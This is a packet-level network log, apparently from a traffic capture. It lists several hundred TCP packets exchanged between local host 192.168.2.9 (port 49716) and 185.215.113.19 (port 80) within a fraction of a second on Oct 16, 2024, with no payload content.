Oct 16, 2024 19:22:40.432234049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432234049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432236910 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432240963 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432250023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432266951 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432271957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432329893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432329893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432329893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432362080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432362080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432393074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432393074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432460070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432559013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432579994 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432621956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432621956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432622910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432632923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432632923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432636023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432641983 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432681084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432712078 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432715893 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432724953 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432739973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432739973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432739973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432739973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432846069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432846069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432846069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432846069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432899952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432899952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432899952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432899952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432955027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432955027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.432979107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.432982922 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.433022022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433075905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433075905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433096886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433160067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433192968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433192968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433268070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433268070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433268070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433383942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433383942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433383942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433383942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433383942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433383942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433451891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433451891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433471918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433471918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433634996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433634996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433634996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433634996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433634996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433634996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433634996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433777094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433829069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433829069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433854103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433854103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433881044 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.433881044 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434123993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434123993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434123993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434123993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434123993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434145927 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.434149981 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.434154034 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.434158087 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.434189081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434189081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434189081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434235096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434235096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434264898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434264898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434317112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434317112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434329987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434329987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434387922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434387922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434587002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434587002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434587002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434587002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434587002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434587002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434587002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434732914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434732914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434732914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434732914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434732914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434732914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434732914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434732914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434854984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434854984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434854984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434854984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434983015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.434983015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435005903 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435410023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435410023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435456038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435486078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435486078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435626984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435626984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435626984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435626984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435626984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435626984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435648918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435648918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435686111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435686111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435875893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435875893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435875893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435875893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435875893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435875893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435875893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435929060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.435929060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436003923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436003923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436003923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436003923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436022043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436079025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436121941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436121941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436181068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436181068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436214924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436214924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436522007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436522007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436522007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436522007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436522007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436522007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436522007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436605930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436605930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436605930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436605930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436645031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436645031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436784029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436784029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436784029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436784029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436784029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436784029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436784029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436784029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436846972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436846972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436898947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436898947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436927080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.436927080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437031031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437122107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437122107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437122107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437122107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437122107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437253952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437253952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437253952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437253952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437253952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437315941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437315941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437347889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437349081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437489033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437489986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437489986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437489986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437489986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437522888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437522888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437534094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437534094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437665939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437665939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437665939 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437784910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437784910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437784910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437784910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437784910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437784910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437784910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.437784910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438071966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438071966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438071966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438071966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438071966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438071966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438071966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438231945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438231945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438231945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438231945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438231945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438232899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438232899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438232899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438271999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438271999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438314915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438314915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438354969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438354969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438400984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438400984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438504934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438504934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438504934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438504934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438504934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438504934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438716888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438716888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438718081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438718081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438718081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438718081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438718081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438755035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438755035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438920021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438920021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438920021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438920021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438920021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438977003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438977003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438977003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.438977003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439055920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439142942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439142942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439142942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439142942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439275026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439275026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439275026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439275026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439275026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439275026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439275026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439409971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439409971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439409971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439409971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439409971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439409971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439435005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439435005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439482927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439482927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439507961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439507961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439785957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439786911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439786911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439786911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439786911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439786911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439786911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439856052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439856052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439933062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439933062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439933062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439933062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439933062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.439933062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440128088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440128088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440128088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440128088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440128088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440128088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440185070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440185070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440185070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440212011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440212965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440263033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440263033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440305948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440305948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440335989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440335989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440498114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440498114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440498114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440498114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.440498114 CEST	49716	80	192.168.2.9	185.215.113.19
